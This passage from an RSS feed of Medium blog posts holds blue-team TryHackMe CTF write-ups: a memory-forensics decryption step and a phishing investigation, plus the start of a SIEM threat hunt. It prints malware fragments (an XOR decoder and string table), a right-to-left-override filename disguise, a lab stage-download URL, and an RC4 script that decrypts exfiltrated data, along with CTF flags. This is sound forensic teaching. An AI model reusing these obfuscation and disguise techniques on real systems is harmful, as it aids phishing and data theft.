format:</p><pre>7d714a7267e88abc1afd223830cb74d7c840f677ff165fbec9c134595f06faa8</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QXy7kQP_VQXhzgSE91dDxg.png" /></figure><pre>Answer: 7d714a7267e88abc1afd223830cb74d7c840f677ff165fbec9c134595f06faa8</pre><p><strong><em>Q6: What is the flag?</em></strong></p><p>This question asks us to extract the <strong>Flag</strong> from the review-cache.dat file after decrypting it using the AES Key and IV obtained in the previous steps.</p><p>We previously found that the <strong>Virtual Address</strong> of the review-cache.dat file is:</p><pre>0xbd8fdbca6650</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wt7UD_D8Y-JsT5x2cIzLFA.png" /></figure><p>First, we will extract the review-cache.dat file from the Memory Dump using windows.dumpfiles and the file&#39;s Virtual Address:</p><pre>vol -f ~/Desktop/artifacts/memory.mem windows.dumpfiles --virtaddr 0xbd8fdbca6650</pre><p>The command will extract files associated with review-cache.dat, including:</p><pre>file.0xbd8fdbca6650.0xbd8fdc40ce10.DataSectionObject.review-cache.dat.dat<br>file.0xbd8fdbca6650.0xbd8fdc2f6d40.SharedCacheMap.review-cache.dat.vacb</pre><p>The file we are interested in is:</p><pre>file.0xbd8fdbca6650.0xbd8fdc40ce10.DataSectionObject.review-cache.dat.dat</pre><p>because it contains the actual data of the review-cache.dat file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a0z4ck6iuaMVybhuKwYkCA.png" /></figure><p>Next, we need to extract the <strong>IV</strong>. From the PowerShell code we obtained earlier, we know that the first 16 Bytes of the file are used as the IV:</p><pre>$a.IV=$b[0..15]</pre><p>Therefore, we will extract the first 16 Bytes and convert them to Hex using:</p><pre>xxd -p -l 16 file.0xbd8fdbca6650.0xbd8fdc40ce10.DataSectionObject.review-cache.dat.dat | tr -d &#39;\n&#39; &gt; iv.txt</pre><p>We will get:</p><pre>d513b076f92256c50d3b3ecaca82d0c8</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GIGlUuDc6t5L62CPp9_c8A.png" /></figure><p>Therefore, this is the IV used during the decryption process.</p><p>Next, we need to extract the <strong>Ciphertext</strong> from the file. Since the first 16 Bytes are the IV, the remaining data represents the encrypted data.</p><p>We will use:</p><pre>dd if=file.0xbd8fdbca6650.0xbd8fdc40ce10.DataSectionObject.review-cache.dat.dat of=ciphertext.bin bs=1 skip=16</pre><p>The skip=16 option skips the first 16 Bytes of the file, so the remaining data is saved to:</p><pre>ciphertext.bin</pre><p>The extracted data was 4080 Bytes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FEUp9IGjsuGWcY6YAExgXg.png" /></figure><p>Next, we will decrypt the Ciphertext using the AES Key obtained in the previous question:</p><pre>7d714a7267e88abc1afd223830cb74d7c840f677ff165fbec9c134595f06faa8</pre><p>We identified that it uses <strong>AES-256-CBC</strong>.</p><p>We will use the following command:</p><pre>openssl enc -d -aes-256-cbc \<br>-in ciphertext.bin \<br>-out review-cache.zip \<br>-K 7d714a7267e88abc1afd223830cb74d7c840f677ff165fbec9c134595f06faa8 \<br>-iv d513b076f92256c50d3b3ecaca82d0c8</pre><p>The command decrypts the Ciphertext using the Key and IV and saves the output to:</p><pre>review-cache.zip</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S6Co9XUP6wwhUMt8ca6QMw.png" /></figure><p>During execution, we received:</p><pre>bad decrypt<br>ossl_cipher_unpadblock:bad decrypt</pre><p>However, despite this message, the review-cache.zip file was created, so we will verify whether the resulting file is valid.</p><p>We will use:</p><pre>unzip -t review-cache.zip</pre><p>We will find:</p><pre>Archive:  review-cache.zip<br>    testing: release/approval.txt     OK<br>    testing: release/contacts.csv     OK<br>No errors detected in compressed data of review-cache.zip.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rzubWe0Yl8Tg8J76KHtqLQ.png" /></figure><p>This confirms that the ZIP was successfully decrypted and contains the following files:</p><pre>release/approval.txt<br>release/contacts.csv</pre><p>Finally, we will extract the ZIP file:</p><pre>unzip review-cache.zip -d review-cache</pre><p>Then, we will read the approval.txt file using:</p><pre>cat review-cache/release/approval.txt</pre><p>The required Flag can be found in the contents of this file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5LoAfuy6YfPj3GUc9FCsng.png" /></figure><pre>Answer: THM{2b3cc75adab999202e1879af542b2c11}</pre><p>That’s the end of this write-up.<br>Don’t forget to follow me on <a href="https://medium.com/@0xgbreil"><strong>Medium</strong></a> for more CTF and DFIR write-ups.<br>For networking and professional connections, you can also reach me on <a href="https://www.linkedin.com/in/0xgbreil/"><strong>LinkedIn</strong></a><strong>.</strong></p><p>Thank you for reading .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ad0fdbbb9816" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Waiting Room | Tryhackme Blue Team CTF 26]]></title>
            <link>https://medium.com/@0xgbreil/the-waiting-room-tryhackme-blue-team-ctf-26-6536cfc5f972?source=rss-d7c57ae8b6e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/6536cfc5f972</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[the-waiting-room]]></category>
            <dc:creator><![CDATA[Mohammed Gbreil]]></dc:creator>
            <pubDate>Sun, 25 Oct 2026 13:25:45 GMT</pubDate>
            <atom:updated>2026-10-25T13:25:45.812Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello.</p><p>Today, I will solve<strong> The Waiting Room </strong>from the <strong>TryHackMe Blue Team CTF 2026</strong>, also known as the <strong>It’s Downtime!</strong> competition.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AovFAcTTzW55I5RnpbfZfQ.png" /></figure><blockquote>Challenge Description:</blockquote><blockquote>Michelle Smith received a supplier email about an upcoming payment run. After she opened an attachment, her workstation contacted an unfamiliar service. Your task is to investigate the supplied email, Windows events, and captured traffic to reconstruct the execution chain and determine what left the workstation.</blockquote><p><strong><em>Q1: What is the SHA-256 hash of the embedded attachment that initiated the suspicious activity?</em></strong></p><p>First, we will start the lab, and we will notice three files within the challenge files. The first is vendor.eml, which contains the vendor&#39;s email. The second is Sysmon-incident.evtx, which contains the Windows Event Logs related to the incident. The third is incident.pcap, which contains the network data captured during the incident.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*hV3xwR6RHyjMmAtRq-TqDA.png" /></figure><p>Since the question asks us to find the SHA-256 of the embedded attachment that started the suspicious activity, the best place to start is the email file, because the suspicious attachment was contained inside it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VizwwsXPtAuPFHuK0BAbAg.png" /></figure><p>We will open the vendor.eml file, and we will notice an attachment named Remittance.one, so we will save it to the machine. First, I identified the file type using the file command, and it showed that it was a <strong>Microsoft OneNote</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k1BojN-DMjI-ACDEZetVSQ.png" /></figure><p>After that, I tried searching inside the file for any attached files or useful data, but I could not find an obvious file that could be extracted directly. So, I used the strings command to search for text within the file, and I found parts of JavaScript code inside the file. The code was <strong>Obfuscated</strong>, which indicates that there was content being executed or decoded in some way, but I could not find the required file directly through it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cfen4objLZuwNN4UNfcemA.png" /></figure><p>Therefore, I calculated the SHA-256 of the Remittance.one file using the sha256sum command, then searched for the hash on VirusTotal to analyze the file and identify related files.</p><pre>393d80fb5a56484ccb615c8fc70c5f3009457b62a281788b5dfa79c209ec8669</pre><p>From the <strong>Relations</strong> tab in VirusTotal, we found several files related to the file, including a file named Remittance_ath.pdf. When we opened this file, we noticed that although its extension was .pdf, its actual type was <strong>HTML</strong>. It also contained embedded JavaScript and was detected as malicious by some security vendors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MMBjI6eTGPpFZsaO35n1ng.png" /></figure><p>By clicking on the file, a page containing its analysis information will appear. we can obtain the <strong>SHA-256</strong> value of the embedded attachment.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*j9ZVr6nV4t1watZ_Zm7s7g.png" /></figure><pre>Answer: e3e53f2e21df0b56eeb62d50146c4d69eb8cbc1bab5b8ba13f8ba5859870f6b3</pre><p><strong><em>Q2: Which Unicode code point was used to disguise that attachment’s displayed filename?</em></strong></p><p>This question asks about the <strong>Unicode code point</strong> used to change the way the filename is displayed to the user and hide the real extension.</p><p>From the attachment name, we noticed a strange Unicode character between _ and fdp. This character is <strong>Right-to-Left Override (RLO)</strong>, which is used to reverse the display direction of part of the filename and make it appear different from its actual name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*Ai777_aFSnHNifzX6wL8Vg.png" /></figure><p>Therefore, the Unicode code point used is:</p><pre>Answer: U+202E</pre><p><strong><em>Q3: Which hostname served the downloaded stage?</em></strong></p><p>This question asks for the <strong>hostname</strong> that provided the downloaded stage to the device.</p><p>After obtaining the SHA-256 of the embedded attachment, I went to <strong>VirusTotal</strong> to analyze the file and examine its behavior during execution.</p><p>In the <strong>Behavior</strong> tab, specifically in the <strong>Network Communication</strong> section, we found several details about the connections made by the file. In the <strong>DNS Resolutions</strong> section, we found the hostname:</p><p>portal.meridian.thm</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eQ7SeO2BXAsWn_-WLnu_CA.png" /></figure><p>The same hostname also appeared in the <strong>Memory Pattern Domains</strong> section, along with port 8080:</p><pre>portal.meridian.thm:8080</pre><p>In the <strong>Memory Pattern URLs</strong> section, we found a URL for the downloaded stage:</p><pre>http://portal.meridian.thm:8080/assets/remittance-v2.png</pre><p>Therefore, it is clear that the file connected to portal.meridian.thm on port 8080 to download the stage.</p><pre>Answer: portal.meridian.thm</pre><p><strong><em>Q4: What was the process ID of the interpreter that executed the downloaded script?</em></strong></p><p>This question asks for the <strong>Process ID</strong> of the interpreter that executed the downloaded script.</p><p>After we identified that the downloaded stage was loaded and then written to a file named receipt.js, we searched inside Sysmon-incident.evtx for processes related to receipt.js.</p><p>We will use the evtx_dump tool located in the tools folder to analyze the Event Logs, using the following command:</p><pre>./evtx_dump -o jsonl &quot;../Sysmon-incident.evtx&quot; -f sysmon.jsonl</pre><p>Then, we will search for receipt.js inside the sysmon.jsonl file using:</p><pre>grep -i &quot;receipt.js&quot; sysmon.jsonl | jq .</pre><pre>ubuntu@tryhackme:~/Desktop/artifacts/tools$ ./evtx_dump -o jsonl &quot;../Sysmon-incident.evtx&quot; -f sysmon.jsonl<br>ubuntu@tryhackme:~/Desktop/artifacts/tools$ grep -i &quot;receipt.js&quot; sysmon.jsonl | jq .<br>{<br>  &quot;Event&quot;: {<br>    &quot;#attributes&quot;: {<br>      &quot;xmlns&quot;: &quot;http://schemas.microsoft.com/win/2004/08/events/event&quot;<br>    },<br>    &quot;System&quot;: {<br>      &quot;Provider&quot;: {<br>        &quot;#attributes&quot;: {<br>          &quot;Name&quot;: &quot;Microsoft-Windows-Sysmon&quot;,<br>          &quot;Guid&quot;: &quot;5770385F-C22A-43E0-BF4C-06F5698FFBD9&quot;<br>        }<br>      },<br>      &quot;EventID&quot;: 11,<br>      &quot;Version&quot;: 2,<br>      &quot;Level&quot;: 4,<br>      &quot;Task&quot;: 11,<br>      &quot;Opcode&quot;: 0,<br>      &quot;Keywords&quot;: &quot;0x8000000000000000&quot;,<br>      &quot;TimeCreated&quot;: {<br>        &quot;#attributes&quot;: {<br>          &quot;SystemTime&quot;: &quot;2026-10-06T18:02:29.133042Z&quot;<br>        }<br>      },<br>      &quot;EventRecordID&quot;: 2699,<br>      &quot;Correlation&quot;: null,<br>      &quot;Execution&quot;: {<br>        &quot;#attributes&quot;: {<br>          &quot;ProcessID&quot;: 2536,<br>          &quot;ThreadID&quot;: 3344<br>        }<br>      },<br>      &quot;Channel&quot;: &quot;Microsoft-Windows-Sysmon/Operational&quot;,<br>      &quot;Computer&quot;: &quot;meridian.thm&quot;,<br>      &quot;Security&quot;: {<br>        &quot;#attributes&quot;: {<br>          &quot;UserID&quot;: &quot;S-1-5-18&quot;<br>        }<br>      }<br>    },<br>    &quot;EventData&quot;: {<br>      &quot;RuleName&quot;: &quot;-&quot;,<br>      &quot;UtcTime&quot;: &quot;2026-10-06 18:02:29.130&quot;,<br>      &quot;ProcessGuid&quot;: &quot;C24FC70D-37B4-6AC5-6701-000000000600&quot;,<br>      &quot;ProcessId&quot;: 4780,<br>      &quot;Image&quot;: &quot;C:\\Windows\\SysWOW64\\mshta.exe&quot;,<br>      &quot;TargetFilename&quot;: &quot;C:\\Users\\m.smith\\AppData\\Local\\Meridian\\receipt.js&quot;,<br>      &quot;CreationUtcTime&quot;: &quot;2026-10-06 17:27:18.112&quot;,<br>      &quot;User&quot;: &quot;MERIDIAN\\m.smith&quot;<br>    }<br>  }<br>}<br>{<br>  &quot;Event&quot;: {<br>    &quot;#attributes&quot;: {<br>      &quot;xmlns&quot;: &quot;http://schemas.microsoft.com/win/2004/08/events/event&quot;<br>    },<br>    &quot;System&quot;: {<br>      &quot;Provider&quot;: {<br>        &quot;#attributes&quot;: {<br>          &quot;Name&quot;: &quot;Microsoft-Windows-Sysmon&quot;,<br>          &quot;Guid&quot;: &quot;5770385F-C22A-43E0-BF4C-06F5698FFBD9&quot;<br>        }<br>      },<br>      &quot;EventID&quot;: 1,<br>      &quot;Version&quot;: 5,<br>      &quot;Level&quot;: 4,<br>      &quot;Task&quot;: 1,<br>      &quot;Opcode&quot;: 0,<br>      &quot;Keywords&quot;: &quot;0x8000000000000000&quot;,<br>      &quot;TimeCreated&quot;: {<br>        &quot;#attributes&quot;: {<br>          &quot;SystemTime&quot;: &quot;2026-10-06T18:02:29.248454Z&quot;<br>        }<br>      },<br>      &quot;EventRecordID&quot;: 2700,<br>      &quot;Correlation&quot;: null,<br>      &quot;Execution&quot;: {<br>        &quot;#attributes&quot;: {<br>          &quot;ProcessID&quot;: 2536,<br>          &quot;ThreadID&quot;: 3344<br>        }<br>      },<br>      &quot;Channel&quot;: &quot;Microsoft-Windows-Sysmon/Operational&quot;,<br>      &quot;Computer&quot;: &quot;meridian.thm&quot;,<br>      &quot;Security&quot;: {<br>        &quot;#attributes&quot;: {<br>          &quot;UserID&quot;: &quot;S-1-5-18&quot;<br>        }<br>      }<br>    },<br>    &quot;EventData&quot;: {<br>      &quot;RuleName&quot;: &quot;-&quot;,<br>      &quot;UtcTime&quot;: &quot;2026-10-06 18:02:29.242&quot;,<br>      &quot;ProcessGuid&quot;: &quot;C24FC70D-37B5-6AC5-6801-000000000600&quot;,<br>      &quot;ProcessId&quot;: 1996,<br>      &quot;Image&quot;: &quot;C:\\Windows\\SysWOW64\\cscript.exe&quot;,<br>      &quot;FileVersion&quot;: &quot;5.812.10240.16384&quot;,<br>      &quot;Description&quot;: &quot;Microsoft ® Console Based Script Host&quot;,<br>      &quot;Product&quot;: &quot;Microsoft ® Windows Script Host&quot;,<br>      &quot;Company&quot;: &quot;Microsoft Corporation&quot;,<br>      &quot;OriginalFileName&quot;: &quot;cscript.exe&quot;,<br>      &quot;CommandLine&quot;: &quot;\&quot;C:\\Windows\\System32\\cscript.exe\&quot; //B //Nologo \&quot;C:\\Users\\m.smith\\AppData\\Local\\Meridian\\receipt.js\&quot; MR-6106-028&quot;,<br>      &quot;CurrentDirectory&quot;: &quot;C:\\Users\\m.smith\\Downloads\\PO-1048\\&quot;,<br>      &quot;User&quot;: &quot;MERIDIAN\\m.smith&quot;,<br>      &quot;LogonGuid&quot;: &quot;C24FC70D-2EE9-6AC5-0769-020000000000&quot;,<br>      &quot;LogonId&quot;: &quot;0x26907&quot;,<br>      &quot;TerminalSessionId&quot;: 1,<br>      &quot;IntegrityLevel&quot;: &quot;Medium&quot;,<br>      &quot;Hashes&quot;: &quot;SHA256=B6C61C065F8BCA4A5B8F560C12379859BDCAA0844245A3A31025614C086FF89A&quot;,<br>      &quot;ParentProcessGuid&quot;: &quot;C24FC70D-37B4-6AC5-6701-000000000600&quot;,<br>      &quot;ParentProcessId&quot;: 4780,<br>      &quot;ParentImage&quot;: &quot;C:\\Windows\\SysWOW64\\mshta.exe&quot;,<br>      &quot;ParentCommandLine&quot;: &quot;\&quot;C:\\Windows\\SysWOW64\\mshta.exe\&quot; \&quot;C:\\Users\\m.smith\\Downloads\\PO-1048\\Remittance_‮fdp.hta\&quot; {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} &quot;,<br>      &quot;ParentUser&quot;: &quot;MERIDIAN\\m.smith&quot;<br>    }<br>  }<br>}<br>{<br>  &quot;Event&quot;: {<br>    &quot;#attributes&quot;: {<br>      &quot;xmlns&quot;: &quot;http://schemas.microsoft.com/win/2004/08/events/event&quot;<br>    },<br>    &quot;System&quot;: {<br>      &quot;Provider&quot;: {<br>        &quot;#attributes&quot;: {<br>          &quot;Name&quot;: &quot;Microsoft-Windows-Sysmon&quot;,<br>          &quot;Guid&quot;: &quot;5770385F-C22A-43E0-BF4C-06F5698FFBD9&quot;<br>        }<br>      },<br>      &quot;EventID&quot;: 1,<br>      &quot;Version&quot;: 5,<br>      &quot;Level&quot;: 4,<br>      &quot;Task&quot;: 1,<br>      &quot;Opcode&quot;: 0,<br>      &quot;Keywords&quot;: &quot;0x8000000000000000&quot;,<br>      &quot;TimeCreated&quot;: {<br>        &quot;#attributes&quot;: {<br>          &quot;SystemTime&quot;: &quot;2026-10-06T18:02:29.275422Z&quot;<br>        }<br>      },<br>      &quot;EventRecordID&quot;: 2701,<br>      &quot;Correlation&quot;: null,<br>      &quot;Execution&quot;: {<br>        &quot;#attributes&quot;: {<br>          &quot;ProcessID&quot;: 2536,<br>          &quot;ThreadID&quot;: 3344<br>        }<br>      },<br>      &quot;Channel&quot;: &quot;Microsoft-Windows-Sysmon/Operational&quot;,<br>      &quot;Computer&quot;: &quot;meridian.thm&quot;,<br>      &quot;Security&quot;: {<br>        &quot;#attributes&quot;: {<br>          &quot;UserID&quot;: &quot;S-1-5-18&quot;<br>        }<br>      }<br>    },<br>    &quot;EventData&quot;: {<br>      &quot;RuleName&quot;: &quot;-&quot;,<br>      &quot;UtcTime&quot;: &quot;2026-10-06 18:02:29.271&quot;,<br>      &quot;ProcessGuid&quot;: &quot;C24FC70D-37B5-6AC5-6901-000000000600&quot;,<br>      &quot;ProcessId&quot;: 4372,<br>      &quot;Image&quot;: &quot;C:\\Windows\\System32\\conhost.exe&quot;,<br>      &quot;FileVersion&quot;: &quot;10.0.19041.1566 (WinBuild.160101.0800)&quot;,<br>      &quot;Description&quot;: &quot;Console Window Host&quot;,<br>      &quot;Product&quot;: &quot;Microsoft® Windows® Operating System&quot;,<br>      &quot;Company&quot;: &quot;Microsoft Corporation&quot;,<br>      &quot;OriginalFileName&quot;: &quot;CONHOST.EXE&quot;,<br>      &quot;CommandLine&quot;: &quot;\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1&quot;,<br>      &quot;CurrentDirectory&quot;: &quot;C:\\Windows&quot;,<br>      &quot;User&quot;: &quot;MERIDIAN\\m.smith&quot;,<br>      &quot;LogonGuid&quot;: &quot;C24FC70D-2EE9-6AC5-0769-020000000000&quot;,<br>      &quot;LogonId&quot;: &quot;0x26907&quot;,<br>      &quot;TerminalSessionId&quot;: 1,<br>      &quot;IntegrityLevel&quot;: &quot;Medium&quot;,<br>      &quot;Hashes&quot;: &quot;SHA256=3C1C6D813D2B031D988204155FC198FE4F32FF56C05DABBCFCD5486131F4FB9D&quot;,<br>      &quot;ParentProcessGuid&quot;: &quot;C24FC70D-37B5-6AC5-6801-000000000600&quot;,<br>      &quot;ParentProcessId&quot;: 1996,<br>      &quot;ParentImage&quot;: &quot;C:\\Windows\\SysWOW64\\cscript.exe&quot;,<br>      &quot;ParentCommandLine&quot;: &quot;\&quot;C:\\Windows\\System32\\cscript.exe\&quot; //B //Nologo \&quot;C:\\Users\\m.smith\\AppData\\Local\\Meridian\\receipt.js\&quot; MR-6106-028&quot;,<br>      &quot;ParentUser&quot;: &quot;MERIDIAN\\m.smith&quot;<br>    }<br>  }<br>}<br></pre><p>Several Events related to the file will appear. In the first Event, which is <strong>Event ID 11</strong>, we can see that the mshta.exe process created the file:</p><pre>C:\Users\m.smith\AppData\Local\Meridian\receipt.js</pre><p>The ProcessId of mshta.exe here is 4780.</p><p>Immediately after that, we can see <strong>Event ID 1</strong>, which is related to the creation of a new Process. We can see that the Image is:</p><pre>C:\Windows\SysWOW64\cscript.exe</pre><p>In the CommandLine, we can see that cscript.exe executed the receipt.js file:</p><pre>&quot;C:\Windows\System32\cscript.exe&quot; //B //Nologo &quot;C:\Users\m.smith\AppData\Local\Meridian\receipt.js&quot; MR-6106-028</pre><p>From the same Event, we can see that the ProcessId is:</p><pre>1996</pre><p>We can also confirm the relationship between the processes through the ParentProcessId, where we find:</p><pre>ParentProcessId: 4780<br>ParentImage: C:\Windows\SysWOW64\mshta.exe</pre><p>This shows that cscript.exe was launched by mshta.exe, and that it is the interpreter that executed the receipt.js file.</p><p>Therefore, the Process ID of the interpreter that executed the downloaded script is:</p><pre>Answer: 1996</pre><p><strong><em>Q5: What encryption key protected the document transferred from the workstation?</em></strong></p><p>This question asks for the <strong>encryption key</strong> that was used to protect the document transferred from the workstation.</p><p>After analyzing the Remittance.one file, I used the strings command to search for any hidden text or code inside the file:</p><pre>strings Remittance.one</pre><p>The results revealed an important part of the file: <strong>HTML/JavaScript</strong> code for an HTA file. It contained several encrypted values inside the entries variable, along with functions that decrypt these values and execute the downloaded stage.</p><p>One of the important parts of the code was:</p><pre>var entries=[<br>&quot;746a6174750b17617475716d6d69170f1709&quot;,<br>...<br>&quot;0a5a0e58015a01010d0f0f5f0c5b010f005b5c58080c5f0a0a0a5c0a5b5c0908&quot;,<br>&quot;746b140f08090f14090b01&quot;<br>];</pre><p>We can also see a function named value(), which converts the values in entries from Hex and then applies an <strong>XOR operation using the value 57</strong>:</p><pre>function value(i){<br>    var h=entries[i],r=&quot;&quot;;<br>    for(var n=0;n&lt;h.length;n+=2)<br>        r+=String.fromCharCode(parseInt(h.substr(n,2),16)^57);<br>    return r;<br>}</pre><p>This means that each byte is converted from Hex and then XORed with 57, giving us the original value.</p><p>Since the code uses entries[9] as part of the encryption process, we took the following value:</p><pre>0a5a0e58015a01010d0f0f5f0c5b010f005b5c58080c5f0a0a0a5c0a5b5c0908</pre><p>We then applied the same XOR operation used in the code with 57, or 0x39.</p><p>After decoding it, we obtained:</p><pre>3c7a8c88466f5b869bea15f333e3be01</pre><p>Looking back at the code, we can see that the resulting value is converted into Bytes and stored in the variable k, which is then passed to the transform() function responsible for processing the encrypted data:</p><pre>var p=transform(b,k)</pre><p>From this, we identified the value extracted from entries[9] as the <strong>encryption key</strong> used to protect the data.</p><pre>Answer: 3c7a8c88466f5b869bea15f333e3be01</pre><p><strong><em>Q6: What is the SHA-256 hash of the document transferred from the workstation?</em></strong></p><p>This question asks for the <strong>SHA-256 hash</strong> of the document that was transferred from the workstation.</p><p>While analyzing the PCAP file, we searched the HTTP traffic for any data sent from the workstation to the server and found a POST request to:</p><pre>/api/receipt</pre><p>The request contained data named data. This data was encrypted and encoded in <strong>Base64</strong>, so we first needed to extract and decrypt it to recover the original document.</p><p>There are several ways to decrypt the data, such as using <strong>CyberChef</strong>, but the easiest and most suitable method here was to use a <strong>Python</strong> script because the encryption algorithm was the same custom transform() function used in the HTA.</p><p>I wrote a Python script containing the <strong>encryption key</strong> we extracted from the HTA. Then, I performed <strong>Base64 decoding</strong> on the data and applied the same transform() algorithm from the JavaScript to decrypt the data.</p><pre>import base64<br>import hashlib<br> <br>key = bytes.fromhex(&quot;3c7a8c88466f5b869bea15f333e3be01&quot;)<br>data = base64.b64decode(&quot;U3VkU43sl+Cfs0zI/Lzory7LzF/rJkfKPTWVDGt9Rxn8ZAkjCZP6TcHdPvHm2cz+lSwJi99dHIk6AIylju6ziExdqmCMvG06SiVR9ryibjWbK0jD1ok6hr7wekOiFH78uFXCf0raZXbjMUe/1MT8p6hscE+EGuQ0a/pJXcI3GLs5Dl7E0MXby6rAtXr60JNyX5lOF/koQEBOwSjeQ82goqCJgGfgM71nCvmpwOqhoRGW51lgkGeOhWYflHu2ggUl7Y5pzc4oROur2jaXSLpVDRkCrkw7LwMJhAt+Z58930aapGFeXYRBmIG6NvwOEo48PFuPLl/75OKTKWxFwVH6YExHoZfiGDVW0uZ/lEMOPR+hkJKYGZe7Z85NNxSV4jS4x3osk4tZzqJTaoXryuO51Dl/9sJZXTRwsBZmT0AC2m1y8qnipDgWxsoV7A==&quot;)<br> <br>s = list(range(256))<br>j = 0<br>for i in range(256):<br>    j = (j + s[i] + key[i % len(key)]) &amp; 255<br>    s[i], s[j] = s[j], s[i]<br> <br>i = j = 0<br>out = bytearray()<br>for b in data:<br>    i = (i + 1) &amp; 255<br>    j = (j + s[i]) &amp; 255<br>    s[i], s[j] = s[j], s[i]<br>    out.append(b ^ s[(s[i] + s[j]) &amp; 255])<br> <br>open(&quot;payment-register.csv&quot;, &quot;wb&quot;).write(out)<br>print(hashlib.sha256(out).hexdigest())<br></pre><p>After decrypting it, I saved the output as:</p><pre>payment-register.csv</pre><p>Finally, I used hashlib.sha256() to calculate the SHA-256 hash directly from the decrypted bytes. The result was:</p><pre>c19c4964c2a77872c49750cc1c2dd443b48fba984b41988aec6fbc780faed09a</pre><pre>Answer: c19c4964c2a77872c49750cc1c2dd443b48fba984b41988aec6fbc780faed09a</pre><p>That’s the end of this write-up.<br>Don’t forget to follow me on <a href="https://medium.com/@0xgbreil"><strong>Medium</strong></a> for more CTF and DFIR write-ups.<br>For networking and professional connections, you can also reach me on <a href="https://www.linkedin.com/in/0xgbreil/"><strong>LinkedIn</strong></a><strong>.</strong></p><p>Thank you for reading .</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6536cfc5f972" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Strange & Unusual Activity | Tryhackme Blue Team CTF 26]]></title>
            <link>https://medium.com/@0xgbreil/strange-unusual-activity-tryhackme-blue-team-ctf-26-92f75dd274e8?source=rss-d7c57ae8b6e6------2</link>
            <guid isPermaLink="false">https://medium.com/p/92f75dd274e8</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[downtime]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Mohammed Gbreil]]></dc:creator>
            <pubDate>Sat, 24 Oct 2026 07:27:42 GMT</pubDate>
            <atom:updated>2026-10-24T07:27:42.011Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello.</p><p>Today, I will solve the <strong>Strange &amp; Unusual Activity</strong> challenge from the <strong>TryHackMe Blue Team CTF 2026</strong>, also known as the <strong>It’s Downtime!</strong> competition.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y7EP-EZ_NX0cMsRXc0-2wA.png" /><figcaption><a href="https://tryhackme.com/room/strangeunusualactivity">https://tryhackme.com/room/strangeunusualactivity</a></figcaption></figure><blockquote>Challenge Description:</blockquote><blockquote>Something strange is happening on the corporate network, but the usual security tools have nothing to report. Investigate a day of network activity, follow the evidence, and uncover what slipped through unnoticed.</blockquote><p>We will start the lab, then log in to the <strong>ELK SIEM</strong>.</p><p>Now, after opening the <strong>SIEM</strong> interface, we go to <strong>Discover</strong> from the sidebar.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/258/1*hrfgX06x00Ott6WZlZrn7A.png" /></figure><p>The <strong>search and events interface</strong> will appear. From the top, we set the time range to:</p><p><strong>Oct 7, 2025 00:00 → Oct 8, 2025 00:00</strong></p><p>as requested.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*OGLUJsyW2E9e0AGqfjvqvQ.png" /></figure><p>After setting the time range, we can see that there are 8124 <strong>Events</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1d8q1n5tRipFJAC1Lh6q_A.png" /></figure><p>After everything is ready, let’s get started.</p><p><strong><em>Q1: What is the domain name used by the command-and-control (C2) server?</em></strong></p><p>This question asks us to find the domain used by the C2 server.</p><p>Since there are a large number of logs, it would not make sense to search through all the logs randomly. So, it is better to act as a <strong>Threat Hunter</strong>. We will start by identifying the available Data Sources. Since we are looking for a domain, the query field will be the most useful field for finding all the Domains in the logs. From there, we can determine what is normal and what is unusual or looks like a Malicious Domain.</p><p>From the sidebar, we will search for the query field, then click the <strong>+</strong> sign to display the Top Values in this field. This will show us the most common Domains found in the logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*lqR7isUljga4AxKicg93GA.png" /></figure><p>At first, we will notice a Domain called edge-metrics-sync.net. Based on its name, it looks somewhat Suspicious, especially when compared to the other Domains in the logs.</p><p>However, to investigate further, I searched for it on Threat Intelligence platforms such as <strong>VirusTotal</strong>, and we can see that it appears to be Clean and has not been classified as Malicious by the Security Vendors.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c0SlfnzrjFyYoG2yZH-DLQ.png" /></figure><p>However, there is a Note in the challenge description indicating that not every unusual connection is Malicious, and not every Malicious connection will look strange on its own. Therefore, we need to look at the bigger picture, compare the 